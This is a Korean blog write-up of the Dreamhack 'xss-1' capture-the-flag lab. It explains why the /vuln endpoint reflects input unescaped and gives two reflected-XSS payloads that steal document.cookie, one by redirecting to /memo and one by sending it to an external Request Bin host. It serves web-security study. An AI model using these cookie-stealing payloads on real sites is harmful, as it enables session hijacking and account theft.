촉촉한초코칩
Dreamhack - xss-1 본문
문제파일을 다운받고 URL에 들어간다.
웹 서비스는 총 4개가 있다.
웹서비스 분석
- /vuln : 이용자가 전달한 param 파리미터의 값을 출력
- /memo : 이용자가 전달한 memo 파라미터의 값을 render_template 함수를 통해 기록하고 보여준다.
- /flag 페이지 : 메소드에 따른 요청마다(GET/POST) 다른 기능을 수행한다.
- GET : 이용자에게 URL을 입력받는 페이지 제공
- POSt : params 파라미터에 값과 쿠키에 FLAG를 포함해 check_xss 함수 호출한다. check_xss는 read_url 함수를 호출해 vuln 엔드포인트에 접속한다.
취약점
- vuln과 memo 페이지 : 이용자의 입력 값을 페이지에 출력한다.
- memo : render_template 함수를 사용해 memo.html을 출력한다.
render_template 함수는 전달된 템플릿 변수를 기록할 때 HTML 엔티티코드로 변환해 저장하기 때문에 XSS가 발생하지 않는다. - 그러나 vuln은 이용자가 입력한 값을 페이지에 그대로 출력하기 때문에 XSS가 발생한다. 그러므로 /vuln에서 발생하는 XSS 취약점을 통해 임의 이용자의 쿠키를 탈취할 것이다.
탈취한 쿠키를 받기 위해서는 외부에서 접근 가능한 웹 서버를 사용하거나 문제에서 제공하는 memo 엔드포인트를 사용할 수 있다.
공격
임의 이용자의 쿠키를 탈취하기 위한 방법 2가지
1) memo 페이지 사용
- flag 엔드포인트에서 익스플로잇 코드를 입력하면 memo 엔드포인트에서 임의 이용자의 쿠키 정보를 확인할 수 있다.
<script>location.href="/memo?memo=" + document.cookie; </script> |
location.href | 전체 URL을 반환하거나 URL을 업데이트할 수 있는 속성 값 |
document.cookie |
해당 페이지에서 사용하는 쿠키를 읽고 쓰는 속성 값 |
- 입력 후 뜨는 경고창
- memo 페이지에 들어가면 flag가 나와있다.
2) 웹 서버 사용
- 외부에서 접근 가능한 웹 서버를 통해 탈취한 쿠키를 사용한다.
외부에서 접근 가능한 웹 서버가 없다면 드림핵에서 제공하는 서비스 사용 : (드림핵 툴즈 서비스) tools.dreamhack.games - 해당 서비스에서 제공하는 Request Bin 기능은 이용자의 접속 기록을 저장하기 때문에 해당 정보를 확인할 수 있다.
Request Bin 버튼을 클릭하면 랜덤한 URL이 생성되며, 해당 URL에 접속한 기록을 저장한다. - flag 기능에서 공격 코드를 입력하면 접속 기록에 포함된 flag를 확인할 수 있다.
<script>location.href = "http://RANDOMHOST.request.dreamhack.games/?memo=" + document.cookie;</script>
'Study > Web Hacking' 카테고리의 다른 글
Webhacking g00gle1 (0) | 2022.07.05 |
---|---|
Dreamhack - xss-2 (0) | 2022.07.05 |
DreamHack Web Hacking Stage 4 (0) | 2022.07.05 |
Dreamhack - session-basic (0) | 2022.07.01 |
Dreamhack - Cookie (0) | 2022.07.01 |